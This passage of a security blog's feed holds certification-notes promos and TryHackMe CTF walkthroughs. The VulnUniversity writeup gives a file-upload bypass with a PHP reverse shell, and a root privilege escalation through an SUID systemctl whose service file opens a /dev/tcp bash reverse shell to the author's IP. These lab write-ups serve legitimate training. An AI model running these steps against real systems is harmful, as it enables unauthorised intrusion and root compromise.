<p>These are <strong>not PDFs</strong>. They’re an Obsidian vault you can search, link, and build upon.</p>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>OSCP tests <strong>execution under pressure</strong>.<br />
These notes let you focus on strategy, not syntax.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="oscp" /><category term="obsidian" /><category term="commands" /><category term="cheatsheet" /><category term="penetration-testing" /><summary type="html"><![CDATA[A clean, structured Obsidian vault with OSCP commands organized for real exam execution. Save hours during labs and exam with instant command recall.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">OSWP Notes – Practical Wireless Attacks, Simplified</title><link href="https://zishanhack.com/blog/research/oswp-notes/" rel="alternate" type="text/html" title="OSWP Notes – Practical Wireless Attacks, Simplified" /><published>2025-12-15T00:00:00+05:30</published><updated>2025-12-15T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/oswp-notes</id><content type="html" xml:base="https://zishanhack.com/blog/research/oswp-notes/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-wifi"></i> OSWP · WIRELESS ATTACKS
  </span>
</div>

<h2 id="oswp-notes">OSWP Notes</h2>
<h3 id="a-clear-no-bs-guide-to-wireless-pentesting-that-actually-works">A Clear, No-BS Guide to Wireless Pentesting That Actually Works</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    OSWP is not about memorizing Wi-Fi theory.<br />
    It's about <strong>executing attacks cleanly, calmly, and correctly under pressure</strong>.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No guessing. No debugging hell. No failed handshakes.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Wireless Fundamentals</strong> – Adapter modes, monitor setup, injection testing</li>
  <li><strong>WEP Attacks</strong> – Fast cracking, replay attacks, fragmentation</li>
  <li><strong>WPA/WPA2</strong> – Handshake capture, deauth logic, PMKID attacks</li>
  <li><strong>WPS Exploitation</strong> – Pixie Dust, brute force, pin generation</li>
  <li><strong>Troubleshooting</strong> – Fix failed attacks, adapter issues, signal problems</li>
</ul>

<h2 id="-why-these-notes-work">⚡ Why These Notes Work</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-bolt" style="color: var(--primary);"></i> Attack flows that actually work</div>
  <div><i class="fas fa-bug" style="color: var(--primary);"></i> Real troubleshooting steps</div>
  <div><i class="fas fa-sitemap" style="color: var(--primary);"></i> Decision trees for failures</div>
  <div><i class="fas fa-check-circle" style="color: var(--primary);"></i> Exam-proven workflows</div>
</div>

<p>Most resources dump commands and hope you figure it out.<br />
These notes teach you <strong>why attacks fail and how to fix them</strong>.</p>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Wireless attacks fail when you panic and guess.<br />
They succeed when you <strong>follow a calm, tested process</strong>.</p>

<p>These notes give you <strong>confidence, clarity, and execution</strong> — exactly what OSWP demands.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="oswp" /><category term="wireless" /><category term="wifi" /><category term="pentesting" /><category term="commands" /><category term="cheatsheet" /><summary type="html"><![CDATA[A clean, structured guide to wireless penetration testing. OSWP exam-ready commands and workflows for reliable attack execution.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Web Security Checklist – Real Bug Hunting, Systematically</title><link href="https://zishanhack.com/blog/research/web-security-checklist/" rel="alternate" type="text/html" title="Web Security Checklist – Real Bug Hunting, Systematically" /><published>2025-11-12T00:00:00+05:30</published><updated>2025-11-12T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/web-security-checklist</id><content type="html" xml:base="https://zishanhack.com/blog/research/web-security-checklist/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-check-double"></i> BUG BOUNTY · WEB SECURITY
  </span>
</div>

<h2 id="web-security-checklist">Web Security Checklist</h2>
<h3 id="a-systematic-method-to-find-real-bugs--not-random-guessing">A Systematic Method to Find Real Bugs — Not Random Guessing</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    Most bug hunters don't fail because they lack skill.<br />
    They fail because they <strong>miss things</strong>. This checklist ensures that <strong>does not happen</strong>.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  Built from real reports, real triage feedback, and real mistakes that cost money.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Recon &amp; Mapping</strong> – Endpoint discovery, parameter identification, app logic analysis</li>
  <li><strong>Authentication &amp; Authorization</strong> – IDOR patterns, role confusion, session handling</li>
  <li><strong>Input Handling</strong> – SQLi, NoSQLi, SSTI, XSS, file upload bypasses</li>
  <li><strong>Business Logic</strong> – State manipulation, workflow bypasses, price/limit abuse</li>
  <li><strong>API Testing</strong> – BOLA, mass assignment, rate limiting issues</li>
  <li><strong>High-Impact Bugs</strong> – Chained vulnerabilities, WAF bypasses, misconfigurations</li>
</ul>

<h2 id="-why-this-checklist-works">⚡ Why This Checklist Works</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-clipboard-list" style="color: var(--primary);"></i> Structured, repeatable process</div>
  <div><i class="fas fa-bullseye" style="color: var(--primary);"></i> Focus on valid, triage-friendly bugs</div>
  <div><i class="fas fa-brain" style="color: var(--primary);"></i> Think like a reviewer, not just an attacker</div>
  <div><i class="fas fa-chart-line" style="color: var(--primary);"></i> Scale your hunting without burnout</div>
</div>

<p>This is <strong>not a list of vulnerability names</strong>.<br />
Each item tells you <strong>what to test, why it matters, and what success looks like</strong>.</p>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Bug bounty success is rarely about one genius idea.<br />
It’s about <strong>not missing obvious and non-obvious issues</strong>.</p>

<p>This checklist makes your testing <strong>deliberate, repeatable, and profitable</strong> — one program at a time.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="bug-bounty" /><category term="web-security" /><category term="checklist" /><category term="penetration-testing" /><category term="hacking" /><category term="methodology" /><summary type="html"><![CDATA[A systematic web security checklist for bug bounty hunters. Find more valid bugs with structured testing — not random guessing.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">CRTA Notes – Real-World Active Directory Red Team Playbook</title><link href="https://zishanhack.com/blog/research/crta-notes/" rel="alternate" type="text/html" title="CRTA Notes – Real-World Active Directory Red Team Playbook" /><published>2025-03-12T00:00:00+05:30</published><updated>2025-03-12T00:00:00+05:30</updated><id>https://zishanhack.com/blog/research/crta-notes</id><content type="html" xml:base="https://zishanhack.com/blog/research/crta-notes/"><![CDATA[<div style="margin-bottom: 2rem;">
  <span style="background: var(--gradient); color: white; padding: 0.3rem 1rem; border-radius: 50px; font-size: 0.8rem; font-weight: 600;">
    <i class="fas fa-skull"></i> CRTA · ACTIVE DIRECTORY ATTACKS
  </span>
</div>

<h2 id="crta-notes">CRTA Notes</h2>
<h3 id="real-world-active-directory-red-team-playbook">Real-World Active Directory Red Team Playbook</h3>

<div style="background: rgba(99, 102, 241, 0.1); border-left: 4px solid var(--primary); padding: 1.5rem; border-radius: 0 12px 12px 0; margin: 2rem 0 3rem 0;">
  <p style="font-size: 1.2rem; margin: 0;">
    CRTA is not about memorizing AD tools.<br />
    It's about <strong>thinking like an attacker inside Active Directory</strong> — from initial foothold to domain dominance.
  </p>
</div>

<p style="color: var(--gray); margin-bottom: 3rem;">
  No theory. No guesswork. Just attack flows that work in real enterprises.
</p>

<h2 id="-whats-inside">📦 What’s Inside</h2>

<ul>
  <li><strong>Initial Enumeration</strong> – LDAP, SMB, Kerberos recon without detection</li>
  <li><strong>Credential Abuse</strong> – NTLM, Kerberos, Pass-the-Hash, Pass-the-Ticket</li>
  <li><strong>Privilege Escalation</strong> – ACL abuse, delegation, GPO attacks, Kerberoasting</li>
  <li><strong>Lateral Movement</strong> – Living-off-the-land, remote execution, PSRemoting</li>
  <li><strong>Persistence</strong> – Shadow credentials, Golden/Silver tickets, backdoors</li>
  <li><strong>OPSEC</strong> – Staying undetected, evasion techniques, real-world tradecraft</li>
</ul>

<h2 id="-why-these-notes-work">⚡ Why These Notes Work</h2>

<div style="display: grid; grid-template-columns: repeat(2, 1fr); gap: 1.5rem; margin: 1.5rem 0;">
  <div><i class="fas fa-sitemap" style="color: var(--primary);"></i> Attack path decision trees</div>
  <div><i class="fas fa-bolt" style="color: var(--primary);"></i> Command-ready workflows</div>
  <div><i class="fas fa-eye-slash" style="color: var(--primary);"></i> Real OPSEC considerations</div>
  <div><i class="fas fa-building" style="color: var(--primary);"></i> Enterprise-tested techniques</div>
</div>

<p>Most AD resources work in perfect lab conditions.<br />
These notes teach you <strong>what actually works when defenders are watching</strong>.</p>

<h2 id="-final-thought">💭 Final Thought</h2>

<p>Active Directory feels random when you’re guessing attack paths.<br />
It becomes predictable when you <strong>follow a structured playbook</strong>.</p>

<p>These notes give you the <strong>clarity, structure, and real-world relevance</strong> to dominate any AD environment — from CRTA to real red team engagements.</p>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="research" /><category term="crta" /><category term="active-directory" /><category term="red-team" /><category term="ad-attacks" /><category term="pentesting" /><category term="privilege-escalation" /><summary type="html"><![CDATA[A complete Active Directory red team playbook for CRTA certification. Real-world attacks, privilege escalation, and domain dominance strategies.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The Impossible Challenge - TryHackMe room Writeup</title><link href="https://zishanhack.com/blog/thm/theimpossiblechallenge/" rel="alternate" type="text/html" title="The Impossible Challenge - TryHackMe room Writeup" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/theimpossiblechallenge</id><content type="html" xml:base="https://zishanhack.com/blog/thm/theimpossiblechallenge/"><![CDATA[<h2 id="the-impossible-challenge">The Impossible Challenge</h2>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#task-1">Task 1</a></li>
  <li><a href="#key-takeaways">Key Takeaways</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/theimpossiblechallenge">https://thm.com/room/theimpossiblechallenge</a></p>

<h2 id="overview">Overview</h2>

<p>The Impossible Challenge is a steganography-focused room that tests your ability to find hidden data embedded in seemingly normal content. Steganography is the practice of concealing information within non-secret files — images, audio, text — without obvious visual changes. This room uses multiple encoding layers and zero-width character techniques to hide flags in plain sight.</p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://gchq.github.io">Cryptography Decoder</a> — GCHQ’s interactive cipher tool for decoding various encryption schemes (ROT13, ROT47, Base64, hex, and more)</li>
  <li><a href="https://330k.github.io/misc_tools/unicode_steganography.html">Zero Width Decoder</a> — Decodes zero-width Unicode characters that are invisible but carry hidden data</li>
</ul>

<h2 id="task-1">Task 1</h2>

<ol>
  <li>
    <p>The challenge provides a zip file, but it is password-protected. You need to find the password before you can extract the flag.</p>
  </li>
  <li>
    <p>The main page contains an encoded hash. Using the GCHQ Cryptography Decoder, apply the following transformations in sequence:</p>

    <ul>
      <li><strong>ROT13</strong> — shifts each letter by 13 positions in the alphabet</li>
      <li><strong>ROT47</strong> — shifts ASCII characters by 47 positions</li>
      <li><strong>Hex decode</strong> — converts hexadecimal pairs to ASCII</li>
      <li><strong>Base64 decode</strong> — decodes Base64-encoded strings</li>
    </ul>

    <p>After decoding through these layers, you get the hint: <code class="language-plaintext highlighter-rouge">It's inside the text, in front of your eyes!</code></p>
  </li>
  <li>
    <p>The hint tells you to look at the <strong>source code</strong> of the page. Inspecting the HTML reveals unusual Unicode characters embedded around the word “Hmm”. These are <strong>zero-width characters</strong> — Unicode code points like U+200B (zero-width space), U+200C (zero-width non-joiner), and U+200D (zero-width joiner) that are invisible when rendered but carry data.</p>
  </li>
  <li>
    <p>Copy the zero-width text and decode it using the <a href="https://330k.github.io/misc_tools/unicode_steganography.html">Zero Width Decoder</a>. This reveals the password: <code class="language-plaintext highlighter-rouge">Password is *******</code>.</p>
  </li>
  <li>
    <p>Use the extracted password to unzip the file and retrieve the flag.</p>
  </li>
</ol>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li><strong>Multi-layer encoding</strong> — Real-world steganography often uses multiple encoding layers (ROT13, hex, Base64) to obscure data. Always try decoding through several methods sequentially.</li>
  <li><strong>Zero-width characters</strong> — Unicode contains invisible characters that can store hidden data. This technique is used in CTF challenges, real-world data exfiltration, and even watermarking. Always inspect HTML source code for unusual Unicode sequences.</li>
  <li><strong>Source code inspection</strong> — Browsers render HTML visually, but the source code often contains hidden information. Right-click → View Page Source is one of the first things to check in web challenges.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="ctf" /><category term="thm" /><category term="steg" /><summary type="html"><![CDATA[TryHackMe Impossible Challenge walkthrough — steganography techniques to hidden data in images and extract flags using command-line tools.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Tutorial - TryHackMe room Writeup</title><link href="https://zishanhack.com/blog/thm/tutorial/" rel="alternate" type="text/html" title="Tutorial - TryHackMe room Writeup" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/tutorial</id><content type="html" xml:base="https://zishanhack.com/blog/thm/tutorial/"><![CDATA[<h2 id="tutorial">Tutorial</h2>

<ul>
  <li><a href="#overview">Overview</a></li>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#task-1">Task 1</a></li>
  <li><a href="#key-takeaways">Key Takeaways</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/tutorial">https://thm.com/room/tutorial</a></p>

<h2 id="overview">Overview</h2>

<p>The TryHackMe Tutorial room is designed for absolute beginners who want to understand how CTF challenges work. This room walks you through the basics of connecting to a target machine, browsing its web interface, and finding flags — the foundational workflow used in every penetration testing engagement.</p>

<h2 id="tools">Tools</h2>

<ul>
  <li>OpenVPN — for connecting to the TryHackMe network</li>
  <li>A web browser — for interacting with the target machine</li>
</ul>

<h2 id="task-1">Task 1</h2>

<ol>
  <li>Click <strong>Start Machine</strong> on the TryHackMe room page to deploy the target VM.</li>
  <li>Download the VPN file from the <strong>Access</strong> page. This file contains your unique credentials for connecting to the TryHackMe network.</li>
  <li>
    <p>Connect using OpenVPN:</p>

    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openvpn &lt;your-vpn-file.ovpn&gt;
</code></pre></div>    </div>

    <p>Wait for the <code class="language-plaintext highlighter-rouge">Initialization Sequence Completed</code> message. This means you’re now routed into the TryHackMe internal network and can reach the target machine.</p>
  </li>
  <li>Open the IP address provided by TryHackMe in your browser. The target machine is running a web server with a simple homepage.</li>
  <li>A flag is clearly visible on the homepage. This is the most basic form of CTF challenge — sometimes the flag is just sitting in plain sight, testing whether you know where to look.</li>
  <li>Submit the flag <code class="language-plaintext highlighter-rouge">flag{connection_verified}</code> to complete the room.</li>
</ol>

<h2 id="key-takeaways">Key Takeaways</h2>

<p>This room teaches three fundamental concepts used in every CTF and real-world pentest:</p>

<ul>
  <li><strong>VPN connectivity</strong> — Always connect to the target network first. Without it, you can’t reach the machine. OpenVPN creates a tunnel that routes traffic through TryHackMe’s network, making the target IP reachable from your local machine.</li>
  <li><strong>Web enumeration</strong> — Checking the target’s web interface is always step one. Visit the homepage, view the source code, check for hidden directories, and look for comments or metadata that leak information.</li>
  <li><strong>Flag submission</strong> — CTF challenges use flags (strings in a specific format) to prove you completed a task. Finding and submitting the flag is how you demonstrate exploitation success. In real engagements, this translates to documenting evidence of compromise.</li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="thm" /><category term="ctf" /><category term="machine" /><summary type="html"><![CDATA[TryHackMe Tutorial room walkthrough — beginner-friendly introduction to web enumeration, privilege escalation, and basic penetration testing methodology.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">VulnUniversity - TryHackMe Walkthrough</title><link href="https://zishanhack.com/blog/thm/vulnversity/" rel="alternate" type="text/html" title="VulnUniversity - TryHackMe Walkthrough" /><published>2024-12-01T00:00:00+05:30</published><updated>2024-12-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/vulnversity</id><content type="html" xml:base="https://zishanhack.com/blog/thm/vulnversity/"><![CDATA[<h2 id="vulnuniversity">VulnUniversity</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#deploy-the-machine">Deploy the machine</a></li>
  <li><a href="#reconnaissance">Reconnaissance</a></li>
  <li><a href="#locating-directories-using-gobuster">Locating directories using Gobuster</a></li>
  <li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/vulnversity">https://thm.com/room/vulnversity</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li><a href="https://nmap.org/download">NMap</a></li>
  <li><a href="https://github.com/OJ/gobuster">Gobuster</a></li>
  <li><a href="https://portswigger.net/burp">Burp Intruder</a></li>
  <li><a href="https://addons.mozilla.org/en-US/firefox/addon/burp-proxy-toggler-lite/">Burp Proxy Toggle Extension</a></li>
</ul>

<h2 id="deploy-the-machine">Deploy the machine</h2>

<ul>
  <li>Deploy The Machine by clicking Start The Machine</li>
  <li>Download ovpn file and connect to the network using command <code class="language-plaintext highlighter-rouge">sudo openvpn --config username.ovpn</code>.</li>
</ul>

<h2 id="reconnaissance">Reconnaissance</h2>

<ul>
  <li>Scan ports of the machine with given command <code class="language-plaintext highlighter-rouge">nmap -sV 10.10.65.81</code>
Output of the command:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting Nmap 7.80 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-02-26 09:55 IST
Nmap scan report <span class="k">for </span>10.10.135.130
Host is up <span class="o">(</span>0.20s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X <span class="o">(</span>workgroup: WORKGROUP<span class="o">)</span>
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span>
Service Info: Host: VULNUNIVERSITY<span class="p">;</span> OSs: Unix, Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>36.77 seconds
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">how many ports are open?</code> Answer <code class="language-plaintext highlighter-rouge">6</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What version of the squid proxy is running on the machine?</code> Answer <code class="language-plaintext highlighter-rouge">3.5.12</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">How many ports will Nmap scan if the flag -p-400 was used?</code> Answer <code class="language-plaintext highlighter-rouge">400</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the most likely operating system this machine is running?</code> Answer <code class="language-plaintext highlighter-rouge">Ubuntu</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What port is the web server running on?</code> Answer <code class="language-plaintext highlighter-rouge">3333</code></li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the flag for enabling verbose mode using Nmap?</code> Answer <code class="language-plaintext highlighter-rouge">-v</code></li>
</ul>

<h2 id="locating-directories-using-gobuster">Locating directories using Gobuster</h2>

<ul>
  <li>Port 3333 is http server, So web interface looks like that http://10.10.65.81:3333</li>
  <li>We can run directory busting tool gobuster as per given command with our own wordlist <code class="language-plaintext highlighter-rouge">gobuster dir -u http://10.10.65.81:3333 -w /usr/share/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt</code>
Output of the command:</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============================================================</span>
Gobuster v3.6
by OJ Reeves <span class="o">(</span>@TheColonial<span class="o">)</span> &amp; Christian Mehlmauer <span class="o">(</span>@firefart<span class="o">)</span>
<span class="o">===============================================================</span>
<span class="o">[</span>+] Url:                     http://10.10.65.81:3333
<span class="o">[</span>+] Method:                  GET
<span class="o">[</span>+] Threads:                 10
<span class="o">[</span>+] Wordlist:                /opt/wordlist/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
<span class="o">[</span>+] Negative Status codes:   404
<span class="o">[</span>+] User Agent:              gobuster/3.6
<span class="o">[</span>+] Timeout:                 10s
<span class="o">===============================================================</span>
Starting gobuster <span class="k">in </span>directory enumeration mode
<span class="o">===============================================================</span>
/images               <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 318] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/images/]
/css                  <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 315] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/css/]
/js                   <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 314] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/js/]
/fonts                <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 317] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/fonts/]
/internal             <span class="o">(</span>Status: 301<span class="o">)</span> <span class="o">[</span>Size: 320] <span class="o">[</span><span class="nt">--</span><span class="o">&gt;</span> http://10.10.65.81:3333/internal/]
Progress: 9932 / 1273834 <span class="o">(</span>0.78%<span class="o">)</span>
</code></pre></div></div>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the directory that has an upload form page?</code> Answer <code class="language-plaintext highlighter-rouge">/internal/</code></li>
</ul>

<h2 id="compromise-the-webserver">Compromise the Webserver</h2>

<ul>
  <li>Question <code class="language-plaintext highlighter-rouge">What common file type you'd want to upload to exploit the server is blocked? Try a couple to find out.</code> Answer <code class="language-plaintext highlighter-rouge">.php</code></li>
  <li>Run burpsuite as per instruction and user intruder. Use firefox extension, https://addons.mozilla.org/en-US/firefox/addon/burp-proxy-toggler-lite/</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Run this attack, what extension is allowed?</code> Answer <code class="language-plaintext highlighter-rouge">.phtml</code></li>
  <li>Now we need to make our shell with given instruction using https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php. Just replace ip to our netcat listening ip (tun0) and file extension to <code class="language-plaintext highlighter-rouge">.phtml</code>. Use <code class="language-plaintext highlighter-rouge">nc -lvnp 1234</code> to get shell.</li>
  <li>Now just upload the file and open http://10.10.65.81:3333/internal/uploads/ and click on the shell to get reverse shell.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the name of the user who manages the webserver?</code> Answer <code class="language-plaintext highlighter-rouge">bill</code>. Use <code class="language-plaintext highlighter-rouge">ls /home</code> command to get username.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">What is the user flag?</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> (32 alphanumeric characters). Command used <code class="language-plaintext highlighter-rouge">cat /home/bill/user.txt</code></li>
</ul>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<ul>
  <li>To check suid permission files, we can use <code class="language-plaintext highlighter-rouge">find / -perm /4000 2&gt; /dev/null</code>.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">On the system, search for all SUID files. Which file stands out?</code> Answer <code class="language-plaintext highlighter-rouge">/bin/systemctl</code> Because systemctl don’t have suid permission normally.</li>
  <li>Now we can start rooting the server.</li>
  <li>At first I created a file on my machine named ZishanAdThander.service (with my ip, you can user your ip)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>Unit]
<span class="nv">Description</span><span class="o">=</span>ZishanAdThandar

<span class="o">[</span>Service]
<span class="nv">Type</span><span class="o">=</span>simple
<span class="nv">User</span><span class="o">=</span>root
<span class="nv">ExecStart</span><span class="o">=</span>/bin/bash <span class="nt">-c</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/10.17.102.105/1337 0&gt;&amp;1'</span>

<span class="o">[</span>Install]
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target
</code></pre></div></div>

<ul>
  <li>Now started web server on my machine using <code class="language-plaintext highlighter-rouge">python3 -m http.server 7860</code></li>
  <li>On the reverse shell, moved to <code class="language-plaintext highlighter-rouge">/tmp</code> directory using <code class="language-plaintext highlighter-rouge">cd /tmp</code> command. Then uploaded the file with <code class="language-plaintext highlighter-rouge">wget http://10.17.102.105:7860/ZishanAdThandar.service</code> command.</li>
  <li>Now we can add the service using <code class="language-plaintext highlighter-rouge">/bin/systemctl enable /tmp/ZishanAdThandar.service</code> command on reverse shell.</li>
  <li>Started netcat listner on the given port with <code class="language-plaintext highlighter-rouge">nc -lvnp 1337</code>.</li>
  <li>Now we need can run the command <code class="language-plaintext highlighter-rouge">/bin/systemctl start ZishanAdThandar</code> to start the service and immediately we will get reverse shell as root on another netcat listner.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Become root and get the last flag (/root/root.txt)</code> Answer <code class="language-plaintext highlighter-rouge">********************************</code> (32 alphanumeric characters). Command used <code class="language-plaintext highlighter-rouge">cat /root/root.txt</code></li>
</ul>]]></content><author><name>Zishan Ahamed Thandar</name></author><category term="thm" /><category term="nmap" /><category term="web" /><category term="smb" /><summary type="html"><![CDATA[TryHackMe VulnUniversity walkthrough — exploiting a file upload vulnerability to get a reverse shell, then escalating privileges using SUID binaries on Linux.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://zishanhack.com/blog/assets/images/og-image.jpg" /><media:content medium="image" url="https://zishanhack.com/blog/assets/images/og-image.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Daily Bugle - TryHackMe room writeup</title><link href="https://zishanhack.com/blog/thm/dailybugle/" rel="alternate" type="text/html" title="Daily Bugle - TryHackMe room writeup" /><published>2024-09-01T00:00:00+05:30</published><updated>2024-09-01T00:00:00+05:30</updated><id>https://zishanhack.com/blog/thm/dailybugle</id><content type="html" xml:base="https://zishanhack.com/blog/thm/dailybugle/"><![CDATA[<h2 id="daily-bugle">Daily Bugle</h2>

<ul>
  <li><a href="#tools">Tools</a></li>
  <li><a href="#deploy">Deploy</a></li>
  <li><a href="#obtain-user-and-root">Obtain user and root</a></li>
  <li><a href="#credits">Credits</a></li>
</ul>

<p>Room Link: <a href="https://thm.com/room/dailybugle">https://thm.com/room/dailybugle</a></p>

<h2 id="tools">Tools</h2>

<ul>
  <li>NMap https://nmap.org/download</li>
  <li>JoomScan https://github.com/OWASP/joomscan</li>
  <li>SearchSploit https://www.exploit-db.com/searchsploit</li>
  <li>SQLMap https://github.com/sqlmapproject/sqlmap</li>
  <li>hashid https://pypi.org/project/hashID/</li>
  <li>John The Ripper https://www.openwall.com/john/</li>
</ul>

<h2 id="deploy">Deploy</h2>

<ul>
  <li>Start the machine and open the ip in browser.</li>
  <li>Opening the site shows favicon of joomla on main page and a image with a man masked as spider man, looks like an robber.</li>
  <li>Question <code class="language-plaintext highlighter-rouge">Access the web server, who robbed the bank?</code> Answer <code class="language-plaintext highlighter-rouge">spiderman</code></li>
</ul>

<h2 id="obtain-user-and-root">Obtain user and root</h2>

<ul>
  <li>Running nmap gives some ports.</li>
</ul>

